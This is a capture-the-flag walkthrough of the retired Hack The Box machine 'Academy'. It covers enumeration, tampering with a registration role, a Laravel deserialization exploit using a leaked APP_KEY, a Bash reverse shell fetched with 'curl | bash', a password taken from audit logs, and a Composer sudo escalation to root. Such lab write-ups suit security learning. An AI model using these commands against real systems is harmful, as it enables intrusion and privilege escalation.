Hack The Box · Easy Linux Machine

Academy

Machine details
NameAcademy
Release date7 November 2020
Retire date27 February 2021
Operating systemLinux
DifficultyEasy - Retired [0]
Rated difficultyAcademy community difficulty rating
Radar graphAcademy machine radar graph
First user bloodsnowscan — 2 hours, 21 minutes, 4 seconds
First root bloodjkr — 2 hours, 47 minutes, 31 seconds
Creatorsegre55 and mrb3n
Workshop PDFAcademy.pdf

Scan and enumeration

I used AutoRecon rather than a basic Nmap scan. The initial discovery identified SSH on TCP 22, HTTP on TCP 80, and a service on TCP 33060.

python3 ../AutoRecon/src/autorecon/autorecon.py 10.10.10.215
Academy AutoRecon results imported into Pentest Workshop
AutoRecon results imported into Pentest Workshop.

The web server required a hostname entry:

10.10.10.215 academy.htb
Adding academy.htb to the hosts file
Academy initial web page

Account registration and role manipulation

Reviewing the source showed PHP login and registration endpoints. Burp Suite captured account creation with a controllable roleid=0 parameter.

Academy page source
Academy registration page
Burp Suite intercepting Academy registration

Gobuster discovered an administrator endpoint:

gobuster dir -u http://academy.htb -w /usr/share/dirb/wordlists/common.txt

/admin.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/server-status (Status: 403)

Creating a second user while changing roleid from 0 to 1 granted access to admin.php.

Modified Academy registration request
Academy administrator launch planner

Laravel staging compromise

The administrator page disclosed dev-staging-01.academy.htb. After adding that hostname locally, the staging application exposed Laravel environment information, including the application key.

Adding the Academy staging hostname
Academy development staging page
Academy Laravel environment variables
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

A Laravel 5.x deserialization exploit provided command execution. I used the public exploit_laravel_cve-2018-15133 implementation.

Laravel exploit search results
git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
pip3 install -r requirements.txt
python3 pwn_laravel.py http://dev-staging-01.academy.htb \
  dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive

From the low-level shell, I used a hosted Bash reverse-shell payload and a Netcat listener to obtain a usable shell.

echo 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' > index.html
sudo python3 -m http.server 80
nc -lvnp 4444
curl http://10.10.14.4 | bash

Credential reuse and user access

The production environment disclosed MySQL credentials. Direct database access failed, but the password was reused by the local user cry0l1t3.

Academy production environment file location
Academy production MySQL credentials
Academy local user list

The account belonged to the adm group, allowing access to system logs.

cry0l1t3 group membership
Academy log directories

Audit logs and privilege escalation

Audit logging captured credentials belonging to mrb3n:

Username: mrb3n
Password: mrb3n_Ac@d3my!
Academy audit logs
Academy aureport output

After connecting over SSH as mrb3n, sudo -l showed that Composer could run as root.

Academy mrb3n sudo permissions
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > "$TF/composer.json"
sudo composer --working-dir="$TF" run-script x
Root proof on Academy
Composer executes the configured script as root.